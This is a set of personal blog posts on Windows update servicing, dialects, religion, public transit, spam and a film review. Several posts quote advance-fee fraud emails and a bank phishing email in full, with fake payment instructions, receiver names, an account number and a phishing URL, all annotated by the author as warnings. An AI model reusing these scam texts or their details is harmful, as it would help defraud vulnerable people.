When a Vista or Windows 7 update (.MSU) is installed, the components get updated, each and every one, instead of files and the worst part is it still maintains the older backup of the previous versions of components. It does not give the user to not backup the earlier versions like XP’s /nobackup switch. As as you install more and more updates on your system, they will take more and more disk space. The very reason Windows 7 is bloated and updates take so long is because of this servicing mechanism it uses (Component Based Servicing).

Microsoft’s ingenious “solution” to this problem of ever growing disk space is that they tell you to install fewer updates to keep the size of the servicing store under control. Of course, one can’t deny installing security updates and leave their system open to security holes so the cost of fixing bugs by installing hotfixes comes at the price of enormous amounts of disk space. The whole servicing stack is more of a downgrade to XP’s update.exe method. It causes slow logoff and slow logon (Please wait while Windows configures NONSENSE), heavy disk thrashing upon logon and logoff when updates are installed and systems being unable to boot because of failed updates. Another huge issue it introduced is the inability to do a true slipstream of service packs and hotfixes.

The time Windows 7/Vista take to install hotfixes compared to Windows XP is completely unacceptable. First it is searching for whether the update applies to your system for a long time. Then that post-installation process (“Configuring updates… Do not turn off your computer”) that takes several minutes before shut down followed by a second post-installation process (configuration) upon restart before logon that also takes also several minutes and thrashes the disk. The solution is to stay with Windows XP. I can install service pack 3 on my XP is about 10 minutes after downloading it. I can also install a slipstreamed with SP3 and all updates copy of XP is about 30 minutes on a modern fast PC. If you have to use Windows 7 or Vista, you will have to be stuck with this slow update non-sense as Microsoft does not even acknowledge that there is any slowdown or loss of functionality.

The fact remains: MSU updates are slow as **** and take too much time and as Windows 7 gets older and MS stops producing service packs, a clean install is going to take longer and longer to bring it up-to-date with all patches installed. Take the case of Vista today. First you have to install Windows Vista, then SP1 which takes about 60-70 minutes, then SP2 and then install all the dozens of post-SP2 SLOW UPDATES. It’s not worth wasting your time on an OS whose servicing mechanism Microsoft completely screwed up. I recommend you read more about the servicing and how it works at The Servicing Guy’s blog:http://blogs.technet.com/b/joscon/

Microsoft’s response to this is vague – they simply state “Windows 7’s servicing is more reliable than Windows XP” but they cannot acknowledge it is a million times slower and still unreliable… slow to the point of being unusable and sometimes leaving systems in an unbootable damaged state. Of course they know all this too but can’t admit it since it makes their latest OSes look poor. Moving from a very simple and fast update mechanism that worked to a complex one that requires endless “configuring” and repair  is a product engineering defect.

Take a look at servicing-related complaints in Microsoft’s own forums:

1. Very slow install of updates to Windows 7
2. Windows 7 – Updates are very slow
3. Windows 7 Ultimate, it takes long time configuring updates
4. “Preparing To Configure Windows. Please Do Not Turn Off Your Computer”
5. Very slow update install at shutdown (Windows 7 Home Premium)
6. Why does my computer run so slow when installing updates?
7. Every time the computer is shut down, it always says installing update do not turn off your computer
8. Computer is working slow and wants to do windows updates all the time
9. Windows 7 Update install time taking a very long time
10. Windows wants to install 6 updates every time I log off or put the computer in sleep mode
11. Problem In Configuring Windows Updates at the time of Startup
12. Computer really slow after latest updates
13. Windows hangs up in “configuring updates”
14. Why can’t windows 7 install updates?
15. Every time computer is shut down, receive Installing updates, do not shut off….
16. How long does it take for the Windows 7 Home Premium updates take?
17. Windows 7 “Installing Update 2 of 2″ for 12 hours now
18. Updates causes endless reboots
19. Updates stuck installing for over 24 hrs. Computer does not boot
20. Cannot load Windows 7 after installing 2 critical updates

Not really a lot that can be done about this, but at least it’s good to know what the root of the problem is, and that it’s not just my system.

The Old Wolf has spoken

Scam 1: Benin Fraud

Seems that Benin is rapidly replacing Nigeria as the source of these scam letters.

Subject: Attn Please!
From: McAllen-Miller <wudept5@gmail.com>
To: undisclosed-recipients:;

Attn Please,

I am commissioner McAllen-Miller the director of international airport Texas United States. Due to the illegal operations of fraudsters in this country America our council with the united Nation forum has established to help you and other scam victims recover your funds and consignments boxes here in America. So far now, we have recovered 100 consignment boxes abandoned in our airport ware house and an other 50 consignment boxes apprehended from illegal fake diplomats.

Due to the petitions received by the formal UN boss secretary general-general Kofi Annan from all over the continent in regards to the fraudulent activities going on in America sub-region with the Security’s agent and diplomats who has been delaying people’s funds and gold hold, consignments and valuables in their custody are demand to be releases to their owners.

I am commissioner McAllen-Miller the director of international airport Texas, McAllen-Miller commissioner of international airport Texas United States for peace keeping, appointed by the new government of (NDC) president professor Vickie Sutton, I have included Your name into the beneficiary files of scam victims for release of 2 consignment boxes valuable of $95million us dollars and 85kilograms of gold deliver to you from the cargo department of the united nation diplomatic courier service here in 100 South International Boulevard Progreso, TX 78579 United State.

The $95 Million is from the UN compensation/bailout funds for citizens of UN member countries and citizens of commonwealth Nations for Poverty alleviation during this economic crunch and recession. The sum of $7 trillion was shared amongst 215 companies and individuals. You were awarded the fund for investment to ease the economic crunch and to be profitable and help others in need as a measure to ease the present economic hardship.

So according to our agreement with the United Nations including the origin of your fund in Benin Republic all our communications should be on email for record purpose so you are advice to follow the instruction immediately for your own good and future.

You are therefore advice to submit all your information for onward delivery of your 2 register Consignment boxes deliver to you.

Passport id.
Full name.
Home or office address.
Direct telephone number/mobile number.
Fax number.
Country of origin.

Please kindly note the below important registration details of your
(2) consignment boxes

The registration no………………………. gil/am/xxx21/0x
The batch number of the boxes……………….gil/ am/xxx54/0x
Security code number…………………… ..sfss/am942054/02
Serial no………………………. …..0043687/eb.

You are advise to act fast in receipt of this email to you and any further delay will be the pleasure of the Unhrc to use your fund to help the displaced people in Darfur and you are also advice to stop any illegal transaction because we have place our net working on you in any transaction you may likely participant on.

For further negotiation to enhance the completion of this transaction, you will contact the united Nation diplomatic base (U.N.D.B) for delivery of your 2 consignment boxes to you after you complete the payment of $80 us dollars for the endorsement fees for the signatory of the Texas international airport Authority . a NOTE YOU ARE ADVICE TO DIRECT THE FEE TO BENIN AS ORIGINATED OF YOUR BOXES VIA WESTERN UNION OR MONEY GRAM.

Receiver’s name: JULIUS CHUKUWMA
COUNTRY: BENIN REPUBLIC
CITY: COTONOU
TEXT QUESTION:URGENT
ANSWER: TODAY
AMOUNT $80.00 USD.

Best regards.

Commissioner McAllen-Miller
The director of international airport TX.

No, Julius, I don’t think I’ll be sending you any money today. Just go ahead and claim those boxes for yourself, and feel free to spend all the money they contain:

Scam 2: Craigslist scammer

I have about ten items up on Craigslist – here’s an inquiry (which was full of red flags, but I answered anyway, just in case it was an honest buyer.

It goes without saying that this email is NOT from Chase.

From: chase.online2@verizon.net Subject: Chase Online Important Alert : Action Required To: Undisclosed recipients: ;

1) First red flag: To “Undisclosed Recipients.”  If you’re getting an email from your bank, it will be addressed to you and not to everyone in the world.

2) Next red flag: Nigerian English:

• Technical se rv ices of the Chase online
• “We earnestly ask you to visit”
• Start the procedure of confirmation on customers data

Nobody at Chase ever  wrote such a bad email. If it sounds wrong, it is wrong.

3) Next red flag: Banks will never ask you to divulge confidential information on the internet. They just won’t.

4) Most importantly, look where you go when you click the link:

http://schlatterhof.ch/junk/Capt/index.htm (I broke the link so you can’t accidentally go to the fraudulent website.)

That is a lot different from the real URL you should be seeing when you go to Chase:

https://chaseonline.chase.com/

A bank should always have an “https” URL, which indicates secure data transmission. These turdcaskets didn’t even try to make the web address look like something from Chase.

Be aware. Be Careful. Practice safe computing.

The Old Wolf has spoken

This image recently popped up on my Facebook feed, and I found it disturbing.

Accompanying the image was the exposition,

“He either exists but can’t, in which case he’s not omnipotent, or he exists but won’t, in which case he’s not benevolent, or he plain and simply doesn’t exist.”

I’ve seen that before elsewhere; there’s a fallacy in there, one which many atheists seem to miss. I am reminded of a young Corrie Ten Boom, who asked her father what “sexsin” was. The father kindly asked her to carry his suitcase; upon trying, she found it far too heavy. He explained to her that like suitcases, some knowledge was too heavy for a child to carry, and asked her to trust him with it until she was older. She was satisfied.

Humanists who are bound and determined to disprove the existence of God, and show by demonstration that people of faith are fools, or benighted, or willfully stupid, often do so by attempting to shove God into a human box, as if they in their wisdom understand all there is to know about the human experience. They smugly postulate that if they would do X and God doesn’t, therefore God does not exist. I recall another recently-posted quote from Tracie Harris:

“You either have a God who sends child rapists to rape children or you have a God who simply watches it and says, ‘When you’re done, I’m going to punish you.’ If I could stop a person from raping a child, I would. That’s the difference between me and your God.”

Now this particular quote was directed at a degraded evangelical turd who put out there that raped children are “evil” and hence deserving of whatever they get; it’s easy to understand why in the heat of outrage over such an ignorant premise that someone might say something of that nature. But the quote annoyed me because it sets up the same false dichotomy – that God is somehow equal to humans and subject to the same rules and logic as humans are.

The picture itself is a perfect example of this compulsion by the atheist community to belittle people of faith at every turn. Showing the amazing and impressive ability of technology to improve the lives of people and raise the human conditon is a wonderful thing. Turning around and attaching a cheap shot at people of faith detracts from the message.

The same argument can be applied to people of faith, and most particularly evangelical Christians who condemn every unbeliever and agnostic (as well as the rest of the believing community who don’t happen to believe in exactly their version of whatever) to an eternal Hell, as though they had the authority to do so.

Oh & that’s why science has cured cancer right? I (along with a few other friends) prayed over someone who had pollups (sic) & the next week (without any medication) his pollups were gone.. I don’t see science doing that. The only reason some science works is because God wills it to. Science can’t heal a broken heart, nor can it comfort those who need comfort or save your soul or give you eternal life. When you die, you call out to science… & see where you end up. Until then I’ll be praying for all of you who are unsaved.

This quote is filled with so much wrong that I don’t know where to begin, so I’ll just let it speak for itself.

Now, the picture above was posted by an intelligent and respected friend. He, and everyone else, is free in this world to believe in something metaphysical or not.¹ But in the name of whatever you consider holy, be it some deity or the amazing power and creativity and goodness that can be found in humanity, stop taking pot shots at each other. It helps nothing, it convinces nobody, and it just ends up polluting the social environment and making everyone who does so look petty and vindictive.

Mohandas Gandhi is reputed to have said, “Be the change that you wish to see in the world.” This is good advice, regardless of which side of the theological issue you happen to fall on.

The Old Wolf has spoken.²

¹ Oh, wait, I’m forgetting about people who flog and decapitate unbelievers. Well, in most places in the civilized world, then.

² I hate theological/political/scientific debates. As a result, I have disabled comments for this post. If you have a position to espouse, post it in your own blog. If it has merit, if it lifts me and inspires me to do better and help others and raise the human condition even more, I’ll consider it.

Got this email from some Chinese spammers today:

The contact email address resolves to “wengjiao7598@163.com,” but I wouldn’t recommend dealing with these scumbags. If they’re willing to spam the world, they’re willing to cheat you for everything they can get.

Also, never click on those “unsubscribe” links – you’re dealing with people who make money by selling email lists as well as spamming, so you’ve just confirmed that you’re a real-live email address, and your level of spam will increase exponentially.

Here’s what that unsubscribe link resolves to:

peterwilso.hk1.hkiis.pw/unsubscribe.php?email=3Dinfo@=

That .pw domain is somewhere in Palau, but it looks like it has something to do with Hong Kong, which would correlate with the Reply To address.

If you’re serious about helping reduce spam, you can report unsolicited email at Spamcop.net. It’s an uphill battle, but these things can help – sometimes spammers use legitimate services who will take action on reported accounts.

The Old Wolf has spoken.

One of the more interesting terminology diversions in the US has to do with what you fill up your jug with at the convenience store. No, not that “good ol’ Mountain Dew,” although that can certainly be one of your choices, but anything sweet and fizzy. What do you call it? Soda? Pop? Coke? Fizz? Something else?

People registered their opinions over at popvssoda.com, and the results were tabulated. I knew one guy who called it “soda water,” even though to me that means just unflavored club soda.

Today as the result of a little discussion among my translation colleagues, I was presented with this website that shows the distribution of various terms for “potato” in German:

While most people would find things like this less exciting that watching paint dry (and even I myself, graduated linguist with advanced degrees absolutely detested my 7th-grade linguistics class, even though that’s a different story), I find comparative and social linguistics intriguing.

Think about what you call things; Crawdad, crayfish, crawfish; potato bug, pill bug; hoagie, sub, grinder, or po’ boy; water fountain or bubbler; so many, many others, and some of these are distinctly regional. Take the quiz and see how well it does in your case. Naturally it’s not going to be 100% perfect all the time, but I was impressed not only by the results but by the nature of the questions.

The New York Times dialect survey has shown to be amazingly accurate in my own case:

I was born and raised in New York, but have spent the last 46 years in Utah; you couldn’t get more spot-on with my diagnosis.

The study of linguistic diversity across boundaries and how language evolves is an entire subset of the larger field, but I could think of much less interesting ways to spend a career than researching these matters.

The Old Wolf has done spoke.

… by hand.

Those catalogs offered just about anything under the sun. They were, in effect, the Amazon.com of the early days.

And those prices. Of course, the average annual salary in 1942 was $2,400, but still.

Not only were the catalogs useful, but they were entertaining as well. And they had the added advantage of being sent to the outhouse as reading material and… uh… other things.

The Old Wolf has spoken.

A new scam email from “Mr. Sarawut Gan,” but using the same return address as “Dr. Graham Honnse” from the IRS.

I have not yet figured out if the scammers in Nigeria have just moved to Benin – it’s only 122 km from Lagos to Cotonou – hoping to avoid the obvious unsavory connection, or if the Boys from Benin are trying to piggy-back onto the success of the Lads from Lagos. Almost all my scam emails these days are from Benin, and precious few from Nigeria.

Whatever the case, stay far away from emails like this. There is no money waiting for you in Africa; the USA would never send official communications from Benin or any other country, nor would they ask you to wire money using Western Union, Money Gram, or any other service.

Subject: Attn Consignment Owner. From: Sarawut Gan <drgrahamhonnse@gmail.com> To: undisclosed-recipients:;

Port Columbus Intl Airport-Cmh, Columbus OH 4600 International Gateway

Columbus, Ohio 43219 U.S.A Urgent Reply.

Attn Consignment Owner.

I am Mr. Sarawut Gan , Executive Director, Port Columbus International Airport Ohio USA, During our recent withheld package routine check at the Airport Storage Vault, we had discovered an abandoned shipment from one Diplomat agent who came all the way from Republic Du Benin under shipping forwarder from Hatfield-Jackson Atlanta Int’l Airport to our facility custody here in Port Columbus Ohio and when scanned, it revealed an undisclosed sum of money in one Metal Trunk Boxes weighing approximately 12kg.

The consignment was abandoned because the Contents of the consignment was not properly declared by the consignee as EURO money EURO rather it was declared as personal effect to avoid diversion by the Shipping Agent and also the inability of the diplomat to pay for the United States Non Inspection Charges, On my assumption, the box contain more than $2.8 Million and the consignment is still in our Storage House here in Port Columbus Intl Airport till today.

However,you should be informed that the Consignment in one metal boxes with weight of about 12kg (Internal dimension: W61 x H156 x D73 (cm)effective capacity: 180 L.) Approximately, the details of the consignment including your name/address were tagged on the Metal Trunk boxes. Please note that this consignment is supposed to returned to the United States Treasury Department as unclaimed delivery due to your delays in contacting us with (Sworn Affidavit for claim / Custom Delivery permit Order) from the origin of the Country BENIN and both certificates will cost you the sum of US$95.00 to obtain, So as a matter of urgent you are hereby advised to pick up below information and send the Sworn Affidavit for claim / Custom Delivery permit Order fee of US$95.00 to our Inspection Agent in Federal Republic Of BENIN to obtain the Sworn Affidavit for claim / Custom Delivery permit Order from Custom and Border Protection BENIN.

HERE IS THE INFORMATION WHERE TO SEND THE US$95.00 VIA WESTERN UNION MONEY TRANSFER TODAY.

Receipt Name….. UDE EBUKA
Country……. BENIN
Location…….COTONOU
Text Question….How Long
Answer…….Today
Amount…..US$95.00

I,am waiting for your prompt respond with the Western Union or Money Gram payment details.

Yours faithfully.

Mr. Sarawut Gan,
Executive Director, Port Columbus International Airport Ohio.

I make it a point to use an anonymous emailer to send various unsavory physiological suggestions to these baboons, not that it will do any good, but pissing them off and raising their blood pressure is small payback for their criminal antics. I wish I could have them all thrown in some rat-infested prison somewhere for the rest of their days.

The Old Wolf has spoken.

Excellent advice.

Emails of this nature are a crock. The people who send them, however, are crooks. “Be very carefully what ever you are doing” with them.

This particular specimen of scam email from Benin is so poorly-written that it defies logic that anyone would fall for it. Some have postulated that scams of this nature are deliberately poorly written so as to entrap the dumbest of the dumb, but I can’t even conceive of anyone thinking that this is real.

Subject: DEBT RECONCILIATION COMMITTEE Addax House 108 BP Akpakpa road danto Benin Republic From: Mark Smith <wudept5@gmail.com> To: undisclosed-recipients:;

DEBT RECONCILIATION COMMITTEE
Addax House 108 BP Akpakpa road danto Benin Republic
Telephone: +229 68416227
Our Official Email: nationalbankltd@yahoo.com

Attention:Beneficiary

In the course of our General Auditing and Account revision of this first quarter of the year 2015, we discovered that the Bank Accounts belonging to some Benefactors have been changed on the basis that the owners have died some time last year or have given out an authorization note of change of data.

After the investigations however, it was revealed that there are Foreigners who are collaborating with Retired Staffs to make these changes illegally without the knowledge of the Bonafide Benefactors and one traced to your own change is this Dr Thomas Ray. his group who said you are dead, hence they have forwarded some documents of funeral service held for you so as to divert your Fund Amount:US$26,000,000.00

They have also forwarded this bank account below as the new account that will receive this money.

Bank: Hang Seng Bank
Bank Address: 83 Des Veoux Road, Central – Hong Kong
Account Name: Arnold Hamilton
Account Number: 235-325172-882
Bank Code: 024
Swift Code: HASEHKHH

But we wanted to confirm if actually this is true and hence decided to write to your email address which after 2 days from now and there is no response, we will then know that you are dead indeed and go on with the transfer. If proved otherwise by you that you did not die, please forward to us all the related Benefactors particulars including your Telephone number, contact address. Copy of your ID these details from you will help to assist us reach a conclusion that you are not dead.

Anything contrary to this claim will help us charge this man to court and prosecute him while your fund will be paid to you immediately without any further delay. You have to get back to us on time for us to commence legal proceedings against this Dr Thomas Ray. his Associates and his accomplices.

Note: to help us fish this people out any where they are this massage should not be forwarded to them or any body, and also stop what ever you are doing with them it is for your own good Be very carefully what ever you are doing with these crocks. I promise you this commission most assist you to make sure your funds gets to you without delay only if you can comply with our advice.

Meanwhile the instruction is that if you cannot be in the Bank and sign the documents then you are to send An Affidavit of Support from the Probate Court Registry Authorizing a Government Accredited Attorney to sign documents on your behalf.

The cost of the Affidavit of Support is $90 and anybody asking you to pay any Amount above that should be reported to my office immediately for Persecution as Government has decided to deal decisively with anyone trying to encourage corruption which has dented the image of this Country among comity of Nations.

The Designated receiver name and address to send the Affidavit of Suport is as follows:

Receiver=== Name: Ezebuilo Emmanuel Ekwealor
Country==== Benin Republic
City======= Cotonou
Address:===108 BP Akpakpa road danto Benin Republic
Test Question:=== Transfer?
Answer:  ======== Urgent
Amt============== $90 USD

Yours in Service,

Mark Smith (Head Auditor

Lest anyone think that sending $90.00 to Benin will entitle them to millions of dollars, even if you were foolish enough to send this money along, you can be guaranteed that there will be fee after fee after fee demanded for this, that, and the other – in other words, these consummately evil eaters of pig dung will milk you for every penny you are dumb enough to send.

Remember, these “money trunks” do not exist. This is a cleverly-faked picture. There is no money waiting for you in Africa. Never send money to an unknown person via Western Union, Money Gram, or Green Dot Money Pack Card, or any other method.

Be careful out there.

The Old Wolf has spoken.

Just received:

I’m sharing this because it needs to be shared. (The link to the relevant article is at the end.)

• It’s intriguing and well-considered, and does its best to bring all variables under one umbrella
• It makes nothing cast-in concrete, but rather presents a wide range of data, reaches certain conclusions, and keeps the door wide open for future modifications based on future data.
• It shows that feminists today are both brilliantly right and stubbornly wrong, and suggests an alternative course of action for crossing the finish line.
• It leaves out one glaring variable, although this is probably an oversight because it’s assumed to be obvious: This data is relevant only for America, and other countries’ mileage may vary – although similar meta-studies could be done by interested parties.
• And, it’s by Scott Adams, the author of “Dilbert” – someone who is not a social scientist, but a man who seems keenly interested, at his core, in a world of fairness that works for everyone.

Here, from my own perspective, is the TL;DR for the entire post (but I highly recommend reading and considering the whole thing):

Feminism currently sends this message to young girls: The world is full of gender bias and male privilege. If you are born a woman, you are a second-class citizen. Adult women are failing to achieve equal pay with men.

Compare that to a message that is just as consistent with the available data but to me sounds more positive: Despite thousands of years of gender bias, women are succeeding in every field that interests them. The gender pay gap has shrunk to the point where we can not identify gender bias as a cause. You are all winners. And all paths are open.

Feminists, I think it is time to take a bow. You won. And the world is a far better place for your efforts. I think I can speak for all men who have mothers, sisters, female friends, female spouses, and female lovers when I say, “Thank you.”

But I also say maybe it is time to stop fighting the last war and adjust your strategy to reflect the reality in 2015.

Adams’ presentation is lay in nature but very unbiased in spirit. His conclusions and the presentation of the data used (summarized at the end of his article, by category) are out there for anyone to review and consider. He has attempted to consider all possible variables, and admits that there are many he hasn’t even touched. And everything he says strikes me as being supremely rational.

There will be feminists out there who snort derisively and dismiss this study because they are convinced that all men are worthless, evil piles of camel ejecta who must be punished, punished, punished! for centuries of patriarchal oppression. These do no good for themselves or for a push toward human equality, and can be safely dismissed.

There will be scientists out there who snort derisively and dismiss this study because it was done by someone unqualified – such is the bane of the ivory tower. Let them do their own studies and come up with something better. That’s how science – even social science – is supposed to work. But I tell you this – I’ve never seen a more honest attempt to be comprehensive and complete and fair.

☛ Now, go and read. ☚

The Old Wolf has spoken.

Spam is one of the plagues of the 21st century. Despite feeble efforts of government regulatory bodies (think CAN-SPAM act, which resulted in an increase of spam), spammers continue their tactics. In the second quarter of 2013, per Kaspersky, spam comprised 70.7% of all email sent globally.

All you have to do is look at the kind of things caught by your spam filters to get an idea of the reputability of companies who are willing to spam you – porn, get-rich-quick offers, penis/breast enlargement, Canadian pharmacies (typically run by
Russian crime syndicates), diploma mills, real-estate swindles, wrinkle creams, hair-regrowers, insurance fraud, worthless supplements, cable/satellite/internet/TV scams, weight loss “miracle pills,”… the list goes on and on.

The trouble is – spam is profitable. People answer ads, buy products that they don’t need and that don’t work, and spammers make money.

But there’s a reason that spam is also called “junk email” – and that’s because almost everything offered to you by spammers is just that – junk. It’s worthless, and probably worse than worthless – it could end up costing you lots of money and frustration. You would think this goes without saying, but obviously it doesn’t.

Let’s look at an example, arrived freshly steaming in my junk folder today:

First off, the mail consists of an image, which makes it hard for spam filters to tag it. Anyone who works hard to defeat built-in and ISP protections against spam probably has the ethics of a honey badger.

This particular ad touts a “home warranty service,” which is really nothing more than a pre-paid service contract on home appliances and infrastructure. But what does the Better Business Bureau have to say about CHW?

Government Actions

New Jersey Division of Consumer Affairs Complaint
Date of Action: 7/28/2014
The following describes a pending government action that has been formally brought by a government agency but has not yet been resolved. We are providing a summary of the governments allegations, which have not yet been proven.

On July 28, 2014, the New Jersey Division of Consumer Affairs filed a Complaint in Superior Court in Middlesex County against CHW Group, Inc., d/b/a “Choice Home Warranty,” an Edison-based company that allegedly induced consumers to buy “comprehensive” coverage for crucial home systems and appliances, and then denied consumers’ claims for repair or replacement through the use of deceptive tactics. As a result, consumers who paid hundreds of dollars for CHW’s “home warranties” – which are actually residential service contracts – were forced to pay out-of-pocket for air conditioning, refrigerator, or other repairs that allegedly should have been covered under their “warranties” with CHW.

As set forth in the State’s complaint, filed by the Division of Law on behalf of the Division of Consumer Affairs:

CHW and its principals often denied claims based on consumers’ supposed failure to properly maintain their covered home systems or appliances. The defendants also often denied claims based on supposed pre-existing defects. The company denied claims even when technicians declared that the covered home systems or appliances had been properly maintained, and/or had failed for reasons not related to poor maintenance or pre-existing problems.

As a way of denying claims, the defendants on many occasions demanded that the consumers provide years’ worth of records to prove they performed regular maintenance on the covered items. These denials were issued despite the fact that CHW’s residential service contract does not state that the company can demand maintenance records from consumers.

Additionally, when consumers requested specific explanations for their denial of claims in writing, CHW on many occasions failed or refused to provide written explanations.

CHW also promised consumers that if covered items could not be repaired, the company would replace them. However, when consumers needed to replace covered items, the company often required consumers to accept cash “buy-outs.” These “buy-outs” were hundreds of dollars less than the consumers’ cost to replace the items.

CHW also repeatedly failed to deliver on its promises for prompt service. In several cases this was because the company failed to pay its contracted technicians.

CHW’s residential service contract states that, upon receiving a request for service, the company will contact a local technician within two days during normal business hours and four days on weekends and holidays. However, CHW did not have contracted technicians in some areas. Consumers in those areas had to find their own technicians, then pay the technicians directly and seek reimbursement from CHW. On other occasions, contractors sent to consumers’ homes by CHW turned out to be unlicensed and/or uninsured.

The State’s Complaint ultimately requests that the Court, among other things, find that the defendants violated the Consumer Fraud Act and Advertising Regulations; order defendants to pay consumer restitution; declare CHW’s residential service contracts with consumers to be null and void; and impose civil penalties.

For more details go to:
http://nj.gov/oag/newsreleases14/pr20140728a.html

In response to these charges, the business provided the following statement:

“We are disappointed that the State has chosen to file this lawsuit. We unequivocally dispute the allegations, intend to vigorously defend against them, and are confident that we will ultimately prevail. Choice Home Warranty has fielded thousands of warranty claims from our customers, resulting in claims payments of tens of millions of dollars. In fact, many of the complaints referred to by the Attorney General’s office, were resolved long ago, to the satisfaction of the consumer.”

This particular suit is ongoing, and allegations have not been proven… but the number of complaints, roughly 300 per year, is probably a pretty good indication that not all is well. I return again to the simple fact that this company is willing to advertise via spam, always a huge red flag in my book.

Have a look at a gripe posted at complaintsboard.com on 3/20/15, yesterday as of this writing:

Every time I called, they sent someone out. I paid the $45, only to find out a repair wasn’t covered. Then, my washing machine was acting up. Replacing the mother boards was more than what the machine was worth. They opted to send me a check for $300. That was a month ago – currently, no check. I then had another claim, and again, it wasn’t covered. So I told them that since they don’t cover items for my home, I wanted to cancel. I received a call last week stating that since I cancelled, they wouldn’t send the $300 check. I told that person that I filed the Washing Machine claim over a month ago, and that check should have already been issued and mailed. He hung up on me. So, I have been emailing CHW about the status of my account and check and received nothing. Then, just now, I called CHW customer service and asked who the President and CEO is, and they put me on hold and never came back on the phone. I want to file a formal complaint. Make sure to have my account closed and have that $300 check which I am entitled to. Horrible, horrible bait and switch and God awful Customer Service.

Here’s one from Ripoff Report:

Our A/C compressor stopped working. It is 17 years old (we bought the home less than 6 months ago) and choice thinks it should last 18 years. They call it “premature failure” which is not due to normal wear and tear, so they denied the claim. They advertise that they will cover your appliances no matter how old. Don’t believe it! Their exclusions are general enough that they can deny any claim.

So you pay to sign up, you pay $45.00 for a service call, and often you are told that the repair isn’t covered… this echoes the kind of allegations leveled by the New Jersey Division of Consumer Affairs. And when you try to get a complaint resolved and get the kind of “customer service” related above, you know you are dealing with a company that doesn’t give a rat’s south-40.

Before you even consider dealing with a company that spams you, no matter how appealing the offer may look, do some research.

• The Better Business Bureau
• Complaints Board
• Ripoff Report

In the interest of full disclosure, and the Internet being what it is, the presence of a complaint anywhere does not guarantee that a company is malfeasant or dishonest. But as you are doing your research, look for patterns. If there seems to be an abundance of complaints across multiple sites, you might want to look elsewhere. Also, the BBB is in business to make money, and companies can purchase accreditation with them, so being accredited with the BBB is also not a guarantee of ethicality.

As always, please watch over your loved ones – especially the elderly and vulnerable. Educate them to stay away from spam offers if they have access to email.

The Old Wolf has spoken.

Of course, it comes down to economics. But I’m reminded of a couple of stories.

A corporation needs a new accountant, and the VP of HR does the interviewing. In comes the first candidate.
“How much is two plus two?”
“What is this, a joke? I don’t need to work with simpletons!” And the first candidate walks out.
In comes the second candidate.
“How much is two plus two?”
“Well, four of course.”
“Thank you for your time, we’ll be in touch.”
In comes the third candidate.
“How much is two plus two?”
“How much would you like it to be?”
“You’re hired.”

Second was the delightful scene in the film “Dave” with Bill Pullman where a presidential stand-in rewrites the budget with the help of an accountant buddy of his to save a previously-vetoed homeless shelter that the (real) First Lady was supporting.

Now, that’s fiction – but you can’t tell me that if a room full of people of good will sat down with our national budget and cut out the fat and the folly and the inhumane bulldust, you couldn’t fund all sorts of useful and needful infrastructure and social programs like transportation and education. I simply refuse to believe it. The money is there, it’s just that so much of it is being redirected toward pork and waste and death and destruction, and the good will isn’t, because everyone wants to belly up to the public trough.

I got thinking about this today because of a recent article at the BBC reporting on a three-day free transit window in Paris (to reduce pollution), and one at The Atlantic which asks and explores the issue of free public trasnsporation.

When I was at the University of Utah in 1974, I began my experience as a freelance translator, and one of the pro-bono jobs I did was translating certain documents from Italian in to English for the benefit of Utah State Representative Sam Taylor regarding a free transit experiment in Rome. His obituary from the year 2000 illustrates that he was a controversial figure; in retrospect, I’m not sure if Representative Taylor was actually for or against the idea of free transit.

In 1970, Mr. Taylor was elected to the Utah House of Representatives, where he served until 1986. In 1973, he passed the Transit Act, which created the Utah Transit Authority.

Mr. Taylor would later become a UTA critic. In a 1995 letter to the editor printed in the Deseret News, Mr. Taylor lamented that too much tax money was being used for mass transit. He referred to the yet-to-be constructed light-rail system from Sandy to Salt Lake as “political boondoggle.”

In 1993, Mr. Taylor was appointed to the transit authority’s board and served two terms. He was often the sole voice of dissent on UTA board decisions and in 1995, while a board member, he filed a lawsuit against UTA to try to stop construction of Salt Lake County light rail.

Mr. Taylor was recognized in 1997 by the Amalgamated Transit Union and the AFL-CIO for “leadership and untiring support for the men and women who make UTA go.” Mr. Taylor left his position on the transit board last year.

The article below from the Deseret News is published from the Utah Transit Authority’s slant, but it does point out that Sam was an activist who was looking out for the rider rather than the corporation (click the image to read in full size).

Well, Light Rail and later the FrontRunner heavy rail system ultimately went through and continues to be expanded. It was needful and remains useful, but the UTA still struggles to increase ridership. From my extensive travels in Europe, I can tell you that a good and reliable mass transit system is a huge blessing for people from all economic strata. But here in America, where people are wedded to their cars, it’s constantly an uphill battle.

That experiment in Rome? Well, it didn’t work out so positively, but I give them props for trying.

The earliest urban experiment in free public transit took place in Rome in the early 1970s. The city, plagued by unbearable traffic congestion, tried making its public buses free. At first, many passengers were confused: “There must be a trick,” a 62-year-old Roman carpenter told The New York Times as he boarded one bus. Then riders grew irritable. One “woman commuter” predicted that “swarms of kids and mixed-up people will ride around all day just because it doesn’t cost anything.” Romans couldn’t be bothered to ditch their cars—the buses were only half-full during the mid-day rush hour, “when hundreds of thousands battle their way home for a plate of spaghetti.” Six months after the failed, costly experiment, a cash-strapped Rome reinstated its fare system.

If public transit is to succeed, it must be both convenient and affordable. A monthly pass which includes Trax and buses in Salt Lake runs $83.00, with 50% reduction for seniors and the disabled. Add another $100 (or $50) if you want to use the FrontRunner heavy rail. That’s not overly burdensome for the average wage earner, but the main problem in this area is that it’s not convenient if you don’t live near a bus line, and getting from one place to another can double your commute time as opposed to driving. mostly due to the time getting to a bus stop and the wait for transfers.

In the end, I am left wondering what the effect would be if public transit were free altogether, always. I’m not offering any suggestions on how to fund this, just wondering what the overall impact would be. In the meantime, follow this link to see how your city’s public transit system stacks up.

The Old Wolf has spoken.

I mean, there are so many. The Disney animated version, “The Slipper and the Rose,” “Ever After”, “Ella Enchanted”, at last count eight other movies just called “Cinderella,” and a host of others.

Each one of those that I mention had its strong points and approached the story from a different angle. I was particularly fond of “Ever After” for a number of reasons, not the least of which was watching the evil stepmother get what was truly coming to her. Not that I’m really into Schadenfreude, but in this life there are and must necessarily be consequences of action – it was satisfying to see a bit of karma at work there.

So why did Disney bother to do another one?

Because it was absolutely magical, that’s why – and in the end analysis, despite the fact that I suspect Walt would not approve of many of the things his beloved company has done over the years, nobody does magic better than Disney.

The performances carried the movie along with nothing to detract from the miracle. Some of the characters were weaker than others, but Helena Bonham Carter, Cate Blanchett, and Lily James were brilliant. Wonderfully brilliant. We’re now technologically to the point that the effects were seamless and delightful.

And lastly, the message of the film is one that the world desperately needs.

“Be brave, and be kind.”

